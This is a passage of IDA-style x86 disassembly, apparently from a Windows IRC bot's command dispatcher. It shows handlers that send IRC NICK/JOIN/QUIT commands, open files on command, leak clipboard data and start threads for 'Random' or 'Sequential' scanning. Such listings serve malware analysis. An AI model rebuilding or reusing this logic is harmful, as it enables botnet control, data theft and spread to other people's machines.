		push	[ebp+var_C]
		call	sub_415AC0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_41298E
		push	eax
		call	sub_409CCD
		test	eax, eax
		pop	ecx
		jnz	short loc_4113AE
		push	offset unk_434204
		jmp	loc_410B43
; ---------------------------------------------------------------------------

loc_4113AE:				; CODE XREF: sub_40CE55+454Dj
		push	offset dword_4341D4
		jmp	loc_410B43
; ---------------------------------------------------------------------------

loc_4113B8:				; CODE XREF: sub_40CE55+1AF5j
					; sub_40CE55+1B0Cj
		push	7Fh
		lea	eax, [ebp+var_6F4]
		push	edi
		push	eax
		call	sub_416D40
		mov	esi, [ebp+esi+var_8C]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_4113E7
		push	7Fh
		lea	eax, [ebp+var_674]
		push	esi
		push	eax
		call	sub_416D40
		add	esp, 0Ch

loc_4113E7:				; CODE XREF: sub_40CE55+457Ej
		push	7Fh
		lea	eax, [ebp+var_5F4]
		push	[ebp+var_8C]
		push	eax
		call	sub_416D40
		mov	eax, [ebp+arg_4]
		push	edi
		mov	[ebp+var_6F8], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_570], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_2C8]
		push	offset dword_4341A8
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	14h
		push	eax
		call	sub_414F93
		add	esp, 24h
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_6F8]
		push	ebx
		push	eax
		push	offset sub_40AE4B
		push	ebx
		push	ebx
		call	dword_42108C
		mov	ecx, [ebp+var_574]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F55C[ecx], eax
		jz	short loc_411485

loc_41146F:				; CODE XREF: sub_40CE55+462Ej
		cmp	[ebp+var_568], ebx
		jnz	loc_4124D6
		push	32h
		call	dword_421060
		jmp	short loc_41146F
; ---------------------------------------------------------------------------

loc_411485:				; CODE XREF: sub_40CE55+4618j
		call	dword_421088
		push	eax
		push	offset unk_434158
		jmp	loc_4124C7
; ---------------------------------------------------------------------------

loc_411496:				; CODE XREF: sub_40CE55+1AC7j
					; sub_40CE55+1ADEj
		push	ebx
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	edi
		call	sub_4063B0
		push	edi
		push	offset dword_434130
		jmp	loc_410F2D
; ---------------------------------------------------------------------------

loc_4114B1:				; CODE XREF: sub_40CE55+1A99j
					; sub_40CE55+1AB0j
		push	14h
		lea	eax, [ebp+var_710]
		push	ebx
		push	eax
		call	sub_415570
		push	edi
		lea	eax, [ebp+var_6FC]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4154E7
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_718], eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_5F8]
		push	80h
		push	eax
		call	sub_415A6A
		mov	eax, [ebp+var_4]
		mov	[ebp+var_570], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_5F8]
		push	eax
		lea	eax, [ebp+var_6FC]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset dword_4340F8
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	12h
		push	eax
		call	sub_414F93
		add	esp, 40h
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_718]
		push	ebx
		push	eax
		push	offset sub_40B712
		push	ebx
		push	ebx
		call	dword_42108C
		mov	ecx, [ebp+var_574]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F55C[ecx], eax
		jz	short loc_411581

loc_41156B:				; CODE XREF: sub_40CE55+472Aj
		cmp	[ebp+var_568], ebx
		jnz	loc_41284E
		push	32h
		call	dword_421060
		jmp	short loc_41156B
; ---------------------------------------------------------------------------

loc_411581:				; CODE XREF: sub_40CE55+4714j
		call	dword_421088
		push	eax
		push	offset dword_436390
		jmp	loc_41283F
; ---------------------------------------------------------------------------

loc_411592:				; CODE XREF: sub_40CE55+1A6Bj
					; sub_40CE55+1A82j
		push	edi
		call	dword_421118
		test	eax, eax
		jz	short loc_4115A5
		push	edi
		push	offset dword_4340C8
		jmp	short loc_4115B0
; ---------------------------------------------------------------------------

loc_4115A5:				; CODE XREF: sub_40CE55+4746j
		push	offset dword_434808
		call	sub_409C08
		push	eax

loc_4115B0:				; CODE XREF: sub_40CE55+474Ej
		lea	eax, [ebp+var_2C8]
		push	200h
		push	eax
		call	sub_415A6A
		add	esp, 10h
		jmp	loc_40EF86
; ---------------------------------------------------------------------------

loc_4115C9:				; CODE XREF: sub_40CE55+1A3Dj
					; sub_40CE55+1A54j
		push	edi
		call	sub_415A5F
		push	eax
		call	sub_414061
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		cmp	eax, esi
		push	edi
		jnz	short loc_4115E6
		push	offset dword_434090
		jmp	short loc_4115EB
; ---------------------------------------------------------------------------

loc_4115E6:				; CODE XREF: sub_40CE55+4788j
		push	offset dword_434048

loc_4115EB:				; CODE XREF: sub_40CE55+478Fj
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_40EFAA
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 14h
		jmp	loc_40EFAA
; ---------------------------------------------------------------------------

loc_411624:				; CODE XREF: sub_40CE55+1A0Fj
					; sub_40CE55+1A26j
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_413DD2
		add	esp, 18h
		cmp	eax, 1
		push	edi
		jnz	short loc_411646
		push	offset dword_434010
		jmp	loc_412869
; ---------------------------------------------------------------------------

loc_411646:				; CODE XREF: sub_40CE55+47E5j
		push	offset dword_433FCC
		jmp	loc_412869
; ---------------------------------------------------------------------------

loc_411650:				; CODE XREF: sub_40CE55+19E1j
					; sub_40CE55+19F8j
		push	edi
		call	dword_43A3F8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_41168D
		push	2
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		call	dword_43A370
		cmp	eax, ebx
		jz	short loc_4116A8
		push	dword ptr [eax]

loc_411673:				; CODE XREF: sub_40CE55+4851j
		push	edi
		lea	eax, [ebp+var_2C8]
		push	offset dword_433F9C
		push	eax
		call	sub_4154E7
		add	esp, 10h
		jmp	loc_40F713
; ---------------------------------------------------------------------------

loc_41168D:				; CODE XREF: sub_40CE55+4808j
		push	edi
		call	dword_43A43C
		cmp	eax, ebx
		jz	short loc_4116A8
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_43A444
		push	eax
		jmp	short loc_411673
; ---------------------------------------------------------------------------

loc_4116A8:				; CODE XREF: sub_40CE55+481Aj
					; sub_40CE55+4841j
		push	offset dword_433F60
		jmp	loc_410B43
; ---------------------------------------------------------------------------

loc_4116B2:				; CODE XREF: sub_40CE55+19B3j
					; sub_40CE55+19CAj
		push	7Fh
		push	edi
		push	[ebp+arg_14]
		call	sub_416D40
		push	edi
		lea	eax, [ebp+var_2C8]
		push	offset dword_433F28
		push	eax
		call	sub_4154E7
		add	esp, 18h
		jmp	loc_40ECC3
; ---------------------------------------------------------------------------

loc_4116D7:				; CODE XREF: sub_40CE55+1985j
					; sub_40CE55+199Cj
		push	5
		push	ebx
		push	ebx
		push	edi
		push	offset aOpen	; "open"
		push	ebx
		call	dword_43A32C
		test	eax, eax
		push	edi
		jz	short loc_4116F7
		push	offset unk_433EF8
		jmp	loc_412869
; ---------------------------------------------------------------------------

loc_4116F7:				; CODE XREF: sub_40CE55+4896j
		push	offset unk_433EC0
		jmp	loc_412869
; ---------------------------------------------------------------------------

loc_411701:				; CODE XREF: sub_40CE55+1957j
					; sub_40CE55+196Ej
		mov	al, [edi]
		mov	byte_42C19C, al
		movsx	eax, byte ptr [edi]
		push	eax
		push	offset dword_433E88
		jmp	loc_40ECB4
; ---------------------------------------------------------------------------

loc_411716:				; CODE XREF: sub_40CE55+1929j
					; sub_40CE55+1940j
		push	edi
		call	sub_415A5F
		test	eax, eax
		pop	ecx
		jle	loc_41298E
		push	edi
		call	sub_415A5F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_41298E
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A4]
		push	2
		push	eax
		call	sub_414433
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset dword_43454C
		push	eax
		call	sub_4154E7
		add	esp, 1Ch
		jmp	loc_410E77
; ---------------------------------------------------------------------------

loc_411761:				; CODE XREF: sub_40CE55+18FBj
					; sub_40CE55+1912j
		push	edi
		call	sub_415A5F
		test	eax, eax
		pop	ecx
		jle	loc_40D219
		push	edi
		call	sub_415A5F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_40D219
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		push	dword_43F554[eax]
		call	sub_412D06
		pop	ecx
		pop	ecx
		push	1F4h
		call	dword_421060
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		push	dword_43F554[eax]
		call	dword_43A450
		push	[ebp+var_10]
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		push	dword_43F55C[eax]
		call	dword_421130
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		push	edi
		mov	dword_43F55C[eax], ebx
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_43F348[eax], bl
		jmp	loc_40D219
; ---------------------------------------------------------------------------

loc_41180C:				; CODE XREF: sub_40CE55+18CDj
					; sub_40CE55+18E4j
		push	edi
		push	offset aAll	; "all"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41183B
		call	sub_41515C
		cmp	eax, ebx
		jle	short loc_411831
		push	eax
		push	offset dword_433E38
		jmp	loc_40F7A2
; ---------------------------------------------------------------------------

loc_411831:				; CODE XREF: sub_40CE55+49CFj
		push	offset dword_433DFC
		jmp	loc_41202C
; ---------------------------------------------------------------------------

loc_41183B:				; CODE XREF: sub_40CE55+49C6j
		mov	eax, [ebp+var_AC]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_40D219
		lea	eax, [ebp+edi*4+var_94]
		mov	[ebp+arg_24], eax

loc_411857:				; CODE XREF: sub_40CE55+4A73j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_40D219
		push	esi
		call	sub_415A5F
		push	eax
		call	sub_4150CE
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_41187E
		push	offset dword_433DC4
		jmp	short loc_411883
; ---------------------------------------------------------------------------

loc_41187E:				; CODE XREF: sub_40CE55+4A20j
		push	offset dword_433D84

loc_411883:				; CODE XREF: sub_40CE55+4A27j
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4118B3
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 14h

loc_4118B3:				; CODE XREF: sub_40CE55+4A40j
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_40B16D
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_411857
		jmp	loc_40D219
; ---------------------------------------------------------------------------

loc_4118CF:				; CODE XREF: sub_40CE55+189Fj
					; sub_40CE55+18B6j
		cmp	[ebp+var_C], ebx
		jz	loc_41298E
		push	edi
		push	[ebp+var_C]
		call	sub_415AC0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_41298E
		push	esi
		push	offset dword_425050
		push	[ebp+arg_4]
		call	sub_412D06
		push	esi
		push	offset dword_433D58
		jmp	loc_411059
; ---------------------------------------------------------------------------

loc_411906:				; CODE XREF: sub_40CE55+1871j
					; sub_40CE55+1888j
		push	edi
		push	offset dword_43446C
		push	[ebp+arg_4]
		call	sub_412D06
		push	edi
		push	offset dword_433D24
		jmp	loc_411059
; ---------------------------------------------------------------------------

loc_41191F:				; CODE XREF: sub_40CE55+1843j
					; sub_40CE55+185Aj
		push	[ebp+esi+var_8C]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		push	edi
		push	offset dword_433CF0
		jmp	loc_410F2D
; ---------------------------------------------------------------------------

loc_41193F:				; CODE XREF: sub_40CE55+1815j
					; sub_40CE55+182Cj
		push	edi
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		push	edi
		push	offset dword_433CB8
		jmp	loc_411059
; ---------------------------------------------------------------------------

loc_411958:				; CODE XREF: sub_40CE55+17DAj
					; sub_40CE55+17EFj
		mov	al, byte_4276A2
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_4276A2
		jz	loc_40D219
		mov	ecx, edx

loc_41196F:				; CODE XREF: sub_40CE55+4B22j
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_41196F
		cmp	al, bl
		jz	loc_40D219
		mov	[ebp+arg_18], edx

loc_411984:				; CODE XREF: sub_40CE55+4DE9j
		push	8
		call	sub_4151DB
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 12Ch
		jle	short loc_4119D3
		push	ecx
		lea	eax, [ebp+var_2C8]
		push	offset dword_434E0C
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 20h
		jmp	loc_411C35
; ---------------------------------------------------------------------------

loc_4119D3:				; CODE XREF: sub_40CE55+4B49j
		or	[ebp+var_300], 0FFFFFFFFh
		cmp	dword_427338, ebx
		mov	[ebp+var_304], 64h
		mov	[ebp+var_318], 5
		mov	[ebp+var_314], ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_411A40
		mov	eax, [ebp+arg_18]
		mov	edi, offset dword_427338
		lea	esi, [eax-0Ah]

loc_411A0A:				; CODE XREF: sub_40CE55+4BCDj
		lea	eax, [edi-28h]
		push	esi
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411A26
		inc	[ebp+arg_0]
		add	edi, 3Ch
		cmp	[edi], ebx
		jnz	short loc_411A0A
		jmp	short loc_411A40
; ---------------------------------------------------------------------------

loc_411A26:				; CODE XREF: sub_40CE55+4BC3j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_300], eax
		imul	ecx, 3Ch
		mov	ecx, dword_427338[ecx]
		mov	[ebp+var_31C], ecx

loc_411A40:				; CODE XREF: sub_40CE55+4BA8j
					; sub_40CE55+4BCFj
		cmp	[ebp+var_31C], ebx
		jz	loc_411C49
		push	10h
		lea	eax, [ebp+arg_10]
		pop	esi
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		mov	[ebp+arg_10], esi
		push	[ebp+arg_4]
		call	dword_43A35C
		mov	al, [ebp+var_9B3]
		push	esi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2D4], eax
		push	[ebp+var_2D4]
		call	dword_43A444
		push	eax
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_416D40
		xor	eax, eax
		cmp	[ebp+var_9B3], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_417040
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_411AE2

loc_411AC0:				; CODE XREF: sub_40CE55+4C8Bj
		cmp	eax, ebx
		jz	short loc_411AE2
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_430]
		push	30h
		push	eax
		call	sub_417040
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_411AC0

loc_411AE2:				; CODE XREF: sub_40CE55+4C69j
					; sub_40CE55+4C6Dj
		mov	eax, [ebp+arg_4]
		push	[ebp+var_8C]
		mov	esi, [ebp+var_4]
		mov	[ebp+var_320], eax
		mov	eax, [ebp+var_8]
		mov	edi, 80h
		mov	[ebp+var_2F4], eax
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		mov	[ebp+var_2F0], 1
		mov	[ebp+var_2F8], esi
		call	sub_415A6A
		push	offset byte_438FDC
		push	offset dword_42C248
		call	sub_415910
		add	esp, 14h
		test	eax, eax
		jz	short loc_411B4C
		push	offset dword_42C248
		lea	eax, [ebp+var_3A0]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 0Ch
		jmp	short loc_411B52
; ---------------------------------------------------------------------------

loc_411B4C:				; CODE XREF: sub_40CE55+4CDEj
		mov	[ebp+var_3A0], bl

loc_411B52:				; CODE XREF: sub_40CE55+4CF5j
		cmp	[ebp+var_2F0], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_411B64
		mov	eax, offset aSequential	; "Sequential"

loc_411B64:				; CODE XREF: sub_40CE55+4D08j
		push	[ebp+var_304]
		lea	ecx, [ebp+var_430]
		push	[ebp+var_314]
		push	[ebp+var_318]
		push	[ebp+var_31C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset dword_433C3C
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	8
		push	eax
		call	sub_414F93
		add	esp, 2Ch
		mov	[ebp+var_310], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_430]
		push	ebx
		push	eax
		push	offset sub_40799F
		push	ebx
		push	ebx
		call	dword_42108C
		mov	ecx, [ebp+var_310]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F55C[ecx], eax
		jz	short loc_411BEE

loc_411BDC:				; CODE XREF: sub_40CE55+4D97j
		cmp	[ebp+var_2EC], ebx
		jnz	short loc_411C09
		push	32h
		call	dword_421060
		jmp	short loc_411BDC
; ---------------------------------------------------------------------------

loc_411BEE:				; CODE XREF: sub_40CE55+4D85j
		call	dword_421088
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset dword_434CE8
		push	eax
		call	sub_4154E7
		add	esp, 0Ch

loc_411C09:				; CODE XREF: sub_40CE55+4D8Dj
		cmp	[ebp+var_8], ebx
		jnz	short loc_411C28
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	esi
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 14h

loc_411C28:				; CODE XREF: sub_40CE55+4DB7j
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_40B16D
		pop	ecx

loc_411C35:				; CODE XREF: sub_40CE55+4B79j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_411984
		jmp	loc_40D219
; ---------------------------------------------------------------------------

loc_411C49:				; CODE XREF: sub_40CE55+2FDCj
					; sub_40CE55+4BF1j
		push	offset dword_433BF0
		jmp	loc_41202C
; ---------------------------------------------------------------------------

loc_411C53:				; CODE XREF: sub_40CE55+17B0j
					; sub_40CE55+17C5j
		push	4
		call	sub_4151DB
		test	eax, eax
		pop	ecx
		jle	short loc_411C69
		push	offset unk_433BBC
		jmp	loc_40EBA7
; ---------------------------------------------------------------------------

loc_411C69:				; CODE XREF: sub_40CE55+4E08j
		mov	eax, [ebp+esi+var_90]
		cmp	eax, ebx
		jz	short loc_411C8C
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_804]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 0Ch
		jmp	short loc_411CA0
; ---------------------------------------------------------------------------

loc_411C8C:				; CODE XREF: sub_40CE55+4E1Dj
		mov	edi, 104h
		lea	eax, [ebp+var_804]
		push	edi
		push	eax
		push	ebx
		call	dword_42107C

loc_411CA0:				; CODE XREF: sub_40CE55+4E35j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jnz	short loc_411CB0
		mov	esi, offset byte_42C1FC

loc_411CB0:				; CODE XREF: sub_40CE55+4E54j
		push	esi
		lea	eax, [ebp+var_700]
		push	edi
		push	eax
		call	sub_415A6A
		mov	eax, dword_42C188
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_5F4], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_5F8], ebx
		mov	[ebp+var_808], eax
		lea	eax, [ebp+var_5F0]
		push	eax
		call	sub_416D40
		mov	eax, [ebp+var_4]
		mov	[ebp+var_570], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_700]
		push	eax
		lea	eax, [ebp+var_804]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_5F4]
		push	offset unk_4278F4
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	4
		push	eax
		call	sub_414F93
		add	esp, 38h
		mov	[ebp+var_5FC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_808]
		push	ebx
		push	eax
		push	offset sub_406C3E
		push	ebx
		push	ebx
		call	dword_42108C
		mov	ecx, [ebp+var_5FC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F55C[ecx], eax
		jz	short loc_411D80

loc_411D6A:				; CODE XREF: sub_40CE55+4F29j
		cmp	[ebp+var_568], ebx
		jnz	loc_40ECC3
		push	32h
		call	dword_421060
		jmp	short loc_411D6A
; ---------------------------------------------------------------------------

loc_411D80:				; CODE XREF: sub_40CE55+4F13j
		call	dword_421088
		push	eax
		push	offset unk_433B70
		jmp	loc_40ECB4
; ---------------------------------------------------------------------------

loc_411D91:				; CODE XREF: sub_40CE55+1786j
					; sub_40CE55+179Bj
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_411DB0
		push	edi
		call	sub_415A5F
		test	eax, eax
		pop	ecx
		jz	short loc_411DB0
		push	edi
		call	sub_415A5F
		pop	ecx
		jmp	short loc_411DB5
; ---------------------------------------------------------------------------

loc_411DB0:				; CODE XREF: sub_40CE55+4F45j
					; sub_40CE55+4F50j
		mov	eax, dword_42C18C

loc_411DB5:				; CODE XREF: sub_40CE55+4F59j
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_584], eax
		xor	eax, eax
		cmp	[ebp+var_9B0], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_570], eax
		jz	short loc_411DE8
		lea	eax, [ebp+var_688]
		push	esi
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx
		jmp	short loc_411E13
; ---------------------------------------------------------------------------

loc_411DE8:				; CODE XREF: sub_40CE55+4F80j
		lea	eax, [ebp+var_3E8]
		push	104h
		push	eax
		call	dword_421058
		push	ebx
		push	ebx
		lea	eax, [ebp+var_2D4]
		push	ebx
		push	eax
		lea	eax, [ebp+var_3E8]
		push	eax
		call	sub_417348
		add	esp, 14h

loc_411E13:				; CODE XREF: sub_40CE55+4F91j
		lea	eax, [ebp+var_688]
		push	eax
		call	sub_415CF0
		cmp	[ebp+eax+var_689], 5Ch
		pop	ecx
		jnz	short loc_411E3E
		lea	eax, [ebp+var_688]
		push	eax
		call	sub_415CF0
		pop	ecx
		mov	[ebp+eax+var_689], bl

loc_411E3E:				; CODE XREF: sub_40CE55+4FD3j
		push	[ebp+var_8C]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_910]
		mov	[ebp+var_914], esi
		push	80h
		push	eax
		call	sub_415A6A
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_688]
		mov	[ebp+var_578], edi
		push	eax
		push	[ebp+var_584]
		push	esi
		call	sub_40A171
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset unk_4277C4
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	3
		push	eax
		call	sub_414F93
		add	esp, 20h
		mov	[ebp+var_57C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_914]
		push	ebx
		push	eax
		push	offset sub_405B23
		push	ebx
		push	ebx
		call	dword_42108C
		mov	ecx, [ebp+var_57C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F55C[ecx], eax
		jz	short loc_411EF2

loc_411EE0:				; CODE XREF: sub_40CE55+509Bj
		cmp	[ebp+var_568], ebx
		jnz	short loc_411F0D
		push	32h
		call	dword_421060
		jmp	short loc_411EE0
; ---------------------------------------------------------------------------

loc_411EF2:				; CODE XREF: sub_40CE55+5089j
		call	dword_421088
		push	eax
		push	offset unk_433B24

loc_411EFE:				; CODE XREF: sub_40CE55+34F6j
					; sub_40CE55+35F0j
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		add	esp, 0Ch

loc_411F0D:				; CODE XREF: sub_40CE55+34DAj
					; sub_40CE55+35D4j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_41284E
		push	ebx
		push	edi

loc_411F18:				; CODE XREF: sub_40CE55+2DA0j
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_8C]
		push	esi
		jmp	loc_40F7CE
; ---------------------------------------------------------------------------

loc_411F2B:				; CODE XREF: sub_40CE55+175Cj
					; sub_40CE55+1771j
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_411F3E
		push	esi
		call	sub_415A5F
		jmp	short loc_411F45
; ---------------------------------------------------------------------------

loc_411F3E:				; CODE XREF: sub_40CE55+50DFj
		push	8
		call	sub_4151FA

loc_411F45:				; CODE XREF: sub_40CE55+50E7j
		cmp	eax, ebx
		pop	ecx
		jz	loc_41298E
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_4071FF

loc_411F60:				; CODE XREF: sub_40CE55+5597j
		add	esp, 10h
		jmp	loc_41298E
; ---------------------------------------------------------------------------

loc_411F68:				; CODE XREF: sub_40CE55+1732j
					; sub_40CE55+1747j
		mov	eax, dword_43A2E0
		cmp	eax, ebx
		jz	short loc_411F85
		call	eax
		test	eax, eax
		jz	short loc_411F7E
		push	offset unk_433AEC
		jmp	short loc_411F9A
; ---------------------------------------------------------------------------

loc_411F7E:				; CODE XREF: sub_40CE55+5120j
		push	offset unk_433AAC
		jmp	short loc_411F9A
; ---------------------------------------------------------------------------

loc_411F85:				; CODE XREF: sub_40CE55+511Aj
		push	offset unk_433A6C
		jmp	short loc_411F9A
; ---------------------------------------------------------------------------

loc_411F8C:				; CODE XREF: sub_40CE55+1708j
					; sub_40CE55+171Dj
		call	sub_40A093
		test	eax, eax
		jz	short loc_411FB0
		push	offset unk_433A34

loc_411F9A:				; CODE XREF: sub_40CE55+5127j
					; sub_40CE55+512Ej ...
		lea	eax, [ebp+var_2C8]
		push	200h
		push	eax
		call	sub_415A6A
		jmp	loc_412875
; ---------------------------------------------------------------------------

loc_411FB0:				; CODE XREF: sub_40CE55+513Ej
		push	offset unk_4339F4
		jmp	short loc_411F9A
; ---------------------------------------------------------------------------

loc_411FB7:				; CODE XREF: sub_40CE55+16DEj
					; sub_40CE55+16F3j
		cmp	[ebp+var_8], ebx
		jnz	short loc_411FD6
		push	ebx
		push	[ebp+var_4]
		push	offset aClipboardData ;	"-[Clipboard Data]-"
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 14h

loc_411FD6:				; CODE XREF: sub_40CE55+5165j
		push	ebx
		push	[ebp+var_4]
		call	sub_409C92
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		push	offset dword_4339B0
		jmp	loc_4122BE
; ---------------------------------------------------------------------------

loc_411FF8:				; CODE XREF: sub_40CE55+15FEj
					; sub_40CE55+1613j
		push	7
		call	sub_4151DB
		test	eax, eax
		pop	ecx
		jle	short loc_41200B
		push	offset dword_433974
		jmp	short loc_41202C
; ---------------------------------------------------------------------------

loc_41200B:				; CODE XREF: sub_40CE55+51ADj
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40A7FD
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_412027
		push	offset dword_433938
		jmp	short loc_41202C
; ---------------------------------------------------------------------------

loc_412027:				; CODE XREF: sub_40CE55+51C9j
		push	offset dword_433904

loc_41202C:				; CODE XREF: sub_40CE55+2B3Dj
					; sub_40CE55+2C6Dj ...
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx
		jmp	loc_40F7B1
; ---------------------------------------------------------------------------

loc_41203F:				; CODE XREF: sub_40CE55+15D4j
					; sub_40CE55+15E9j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40967F
		jmp	loc_40D216
; ---------------------------------------------------------------------------

